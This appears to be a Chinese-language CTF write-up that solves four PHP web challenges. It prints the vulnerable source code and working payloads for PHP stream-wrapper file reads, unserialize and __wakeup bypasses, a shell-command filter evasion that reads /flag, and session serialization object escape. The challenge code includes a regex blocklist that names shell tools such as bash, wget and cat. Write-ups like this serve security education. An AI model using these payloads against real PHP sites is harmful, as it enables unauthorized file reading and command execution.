2019-ZJCTF nizhuansiwei
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents($text ,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize($password ); echo $password ; } } else { highlight_file(__FILE__ ); } ?>
isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")
text=php://input
,POST传递welcome to the zjctf
或者使用data协议text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
include($file); //useless.php
file=php://filter/read=convert.base64-encode/resource=useless.php
用php://filter
对useless.php
进行读取
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
$password = unserialize($password);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Flag { public $file ="flag.php" ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } $a =new Flag();echo serialize($a );?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
payload:http://111.200.241.244:57245/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
XTCTF Web_php_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Demo { private $file = 'index.php' ; public function __construct ($file ) { $this ->file = $file ; } function __destruct ( ) { echo @highlight_file($this ->file, true ); } function __wakeup ( ) { if ($this ->file != 'index.php' ) { $this ->file = 'index.php' ; } } } if (isset ($_GET ['var' ])) { $var = base64_decode($_GET ['var' ]); if (preg_match('/[oc]:\d+:/i' , $var )) { die ('stop hacking!' ); } else { @unserialize($var ); } } else { highlight_file("index.php" ); } ?>
绕过preg_match('/[oc]:\d+:/i', $var)
base64解码后的字符串中不能以o或c开头且:
后面不能是数字
利用@unserialize($var);
__wakeup
漏洞,但是要注意$file
是private变量
base64.b64decode("Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9")
b'O:4:"Demo":1:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
base64.b64encode(b'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}')
b'TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=='
所以payload为?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
2019安洵杯 easy_web 观察URLindex.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
,推测TXpVek5UTTFNbVUzTURabE5qYz0
为base64编码,但是长度不对,尝试添加等号,base64解码得到MzUzNTM1MmU3MDZlNjc=
,继续解码得到3535352e706e67
,想了半天才发现这是hex编码,最终得到555.png
1 2 3 4 5 6 import base64import binasciiprint (binascii.a2b_hex(base64.b64decode(base64.b64decode(b'TXpVek5UTTFNbVUzTURabE5qYz0=' ))))print (base64.b64encode(base64.b64encode(binascii.b2a_hex(b'flag' ))))print (base64.b64encode(base64.b64encode(binascii.b2a_hex(b'index.php' ))))
尝试对flag
直接进行读取,发现无法进行
尝试对index.php的源码进行读取index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
,将结果base64解码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8' ); $cmd = $_GET ['cmd' ];if (!isset ($_GET ['img' ]) || !isset ($_GET ['cmd' ])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin(base64_decode(base64_decode($_GET ['img' ])));$file = preg_replace("/[^a-zA-Z0-9.]+/" , "" , $file );if (preg_match("/flag/i" , $file )) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi~ no flag" ); } else { $txt = base64_encode(file_get_contents($file )); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd ;echo "<br>" ;if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5($_POST ['a' ]) === md5($_POST ['b' ])) { echo `$cmd `; } else { echo ("md5 is funny ~" ); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color: } </style> <body> </body> </html>
禁止了对flag
的直接读取
需要对preg_match
进行绕过
存在强md5验证
强md5验证用https://misaka.gq/2021/03/07/PHP-Study/#md5%E5%BC%BA%E7%B1%BB%E5%9E%8B%E6%AF%94%E8%BE%83 的样例进行绕过
首先查找flag
位置,观察preg_match
发现没有对find
进行过滤,直接find%20/
对返回的结果进行查找,确定为\flag
,同时也没有对strings
进行过滤,直接进行strings%20\flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 HTTP/1.1 200 OK Date: Sun, 14 Mar 2021 12:06:19 GMT Server: Apache/2.4.38 (Debian) X-Powered-By: PHP/7.1.33 Vary: Accept-Encoding Content-Length: 294 Connection: close Content-Type: text/html;charset=utf-8 <img src='data:image/gif;base64,'></img><br>strings /flag<br>Flag{nice_this_is_real_flag_p2hm1n} <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
Flag{nice_this_is_real_flag_p2hm1n}
除了strings
还可以用sort%20\flag
,同时该过滤不严谨,ca\t%20/flag
也可以进行读取
easy_serialize_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr ).'/i' ; return preg_replace($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract($_POST ); if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode('guest_img.png' ); }else { $_SESSION ['img' ] = sha1(base64_encode($_GET ['img_path' ])); } $serialize_info = filter(serialize($_SESSION ));if ($function == 'highlight_file' ){ highlight_file('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize($serialize_info ); echo file_get_contents(base64_decode($userinfo ['img' ])); }
首先注意到extract($_POST);
,extract
可用于将数组展开,键名作为变量名,元素值为变量值即直接将$_POST
和$_GET
中的变量解析出来,因此可以尝试对$_SESSION
的部分变量进行覆盖
以POST的方法传入数据_SESSION[asdf]=qwer
可以看到在$_SESSION
中的user
和function
被覆盖,而img
不改变
array(2) { ["asdf"]=> string(4) "qwer" ["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw==" }
要对flag进行读取,则要通过file_get_contents(base64_decode($userinfo['img']));
,但是首先要知道flag在哪里,题目提示查看phpinfo
在auto_append_file
看到d0g3_f1ag.php
,目标是对其进行读取
但是$userinfo['img']
要么是默认的guest_img.png
,要么是sha1之后的字符串,因此要对默认的img
赋值进行绕过
注意到$serialize_info = filter(serialize($_SESSION));
存在关键词的空白替换,因此可能存在反序列化对象逃逸
首先构造对img的赋值_SESSION[asdf]=s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
序列化之后得到a:2:{s:4:"asdf";s:39:"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
";s:39:"
的长度为8,因此构造一个s:8:"";s:39:"";s:1:"a";
的序列化即可进行逃逸
在filter中恰好对flag
进行了过滤,因此payload为_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
得到提示$flag = 'flag in /d0g3_fllllllag';
payload_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}